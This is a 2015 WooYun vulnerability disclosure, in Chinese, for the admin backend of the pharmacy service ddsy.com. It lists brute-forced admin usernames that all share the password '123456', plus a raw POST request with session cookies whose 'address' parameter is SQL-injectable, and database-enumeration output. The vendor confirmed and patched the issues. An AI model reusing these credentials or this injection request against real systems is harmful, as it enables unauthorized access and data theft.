当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0126261

漏洞标题:叮当快药某后台弱口令+SQL注入敏感信息泄露

相关厂商:ddsy.com

漏洞作者: 沦沦

提交时间:2015-07-13 11:25

修复时间:2015-08-27 11:48

公开时间:2015-08-27 11:48

漏洞类型:后台弱口令

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-13: 细节已通知厂商并且等待厂商处理中
2015-07-13: 厂商已经确认,细节仅向厂商公开
2015-07-23: 细节向核心白帽子及相关领域专家公开
2015-08-02: 细节向普通白帽子公开
2015-08-12: 细节向实习白帽子公开
2015-08-27: 细节向公众公开

简要描述:

叮当快药某后台弱口令+SQL注入敏感信息泄露

详细说明:

买药要让我扫二维码加APP,这是主动让我来进行安全测试呀,进行搜索你们的网站等到了一个后台,没加验证码可进行暴力破解

1.jpg


暴破出N多管理员密码

wangjing	123456	
wangli 123456
liming 123456
wangpeng 123456
liuli 123456
liying 123456
libo 123456
chenli 123456
wangli 123456
wanghong 123456
wangjing 123456
yangfang 123456
zhanghongmei 123456
liying 123456
liuli 123456
liguifang 123456
zhangnan 123456
libo 123456
wangli 123456


2.png


3.png


进后台还发现存在SQL注入漏洞,可进行全站拖库,我是好人不拖库只做测试

POST /order/query.htm HTTP/1.1
Host: erp.ddsy.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
Accept: text/plain, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://erp.ddsy.com/order/view.htm
Content-Length: 109
Cookie: td_cookie=137694995; td_cookie=137507137; ddsy_token="Jz3N/0qDhfyf4jm4msMBeQ=="; JSESSIONID=21D41308766B16EE686CBAAEACBE46C1
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
id=&pharmacyName=&pharmacyId=&orderStatus=2&startDate=&address=111111&endDate=&province=&city=&page=1&rows=50


address参数没进行过滤

available databases [20]:
[*] APEX_030200
[*] APPQOSSYS
[*] CTXSYS
[*] DBSNMP
[*] EXFSYS
[*] FLOWS_FILES
[*] GENE
[*] GOLDENGATE
[*] MDSYS
[*] O2O
[*] OLAPSYS
[*] ORDDATA
[*] ORDSYS
[*] OUTLN
[*] OWBSYS
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] WMSYS
[*] XDB


漏洞证明:

买药要让我扫二维码加APP,这是主动让我来进行安全测试呀,进行搜索你们的网站等到了一个后台,没加验证码可进行暴力破解

1.jpg


暴破出N多管理员密码

wangjing	123456	
wangli 123456
liming 123456
wangpeng 123456
liuli 123456
liying 123456
libo 123456
chenli 123456
wangli 123456
wanghong 123456
wangjing 123456
yangfang 123456
zhanghongmei 123456
liying 123456
liuli 123456
liguifang 123456
zhangnan 123456
libo 123456
wangli 123456


2.png


3.png


进后台还发现存在SQL注入漏洞,可进行全站拖库,我是好人不拖库只做测试

POST /order/query.htm HTTP/1.1
Host: erp.ddsy.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
Accept: text/plain, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://erp.ddsy.com/order/view.htm
Content-Length: 109
Cookie: td_cookie=137694995; td_cookie=137507137; ddsy_token="Jz3N/0qDhfyf4jm4msMBeQ=="; JSESSIONID=21D41308766B16EE686CBAAEACBE46C1
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
id=&pharmacyName=&pharmacyId=&orderStatus=2&startDate=&address=111111&endDate=&province=&city=&page=1&rows=50


address参数没进行过滤

available databases [20]:
[*] APEX_030200
[*] APPQOSSYS
[*] CTXSYS
[*] DBSNMP
[*] EXFSYS
[*] FLOWS_FILES
[*] GENE
[*] GOLDENGATE
[*] MDSYS
[*] O2O
[*] OLAPSYS
[*] ORDDATA
[*] ORDSYS
[*] OUTLN
[*] OWBSYS
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] WMSYS
[*] XDB


修复方案:

改密码加验证码过滤,如果厂商来确认能送10K京东卡吗,哈哈

版权声明:转载请注明来源 沦沦@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-07-13 11:47

厂商回复:

内部系统对外未屏蔽访问。SQL注入已加入拦截机制。
感谢提供的信息。
谢谢

最新状态:

暂无